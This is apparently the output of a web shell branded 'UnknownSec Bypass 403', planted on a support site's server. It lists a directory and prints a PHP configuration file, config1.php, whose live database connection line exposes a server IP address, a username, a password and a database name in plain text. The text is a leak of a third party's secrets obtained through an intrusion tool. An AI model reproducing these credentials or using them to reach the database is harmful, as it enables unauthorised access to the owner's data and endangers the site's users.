UnknownSec Bypass 403

: /var/www/stsupport/ [ drwxrwxr-x ]
name : config1.php <?php $hostname="http://stsupport.sadanandtechnologies.com"; //$hostname="https://ntronics.in/stsupport"; //$hostname="http://localhost:8080/st-support"; //$conn=mysqli_connect("localhost:3307","root","","stsupportdb") or die("Connection failled:" . mysqli_connect_error()); $conn=mysqli_connect("103.212.121.67:3306","stsupportuser","stsupport123!@#","stsupportdb") or die("Connection failled:" . mysqli_connect_error()); ?>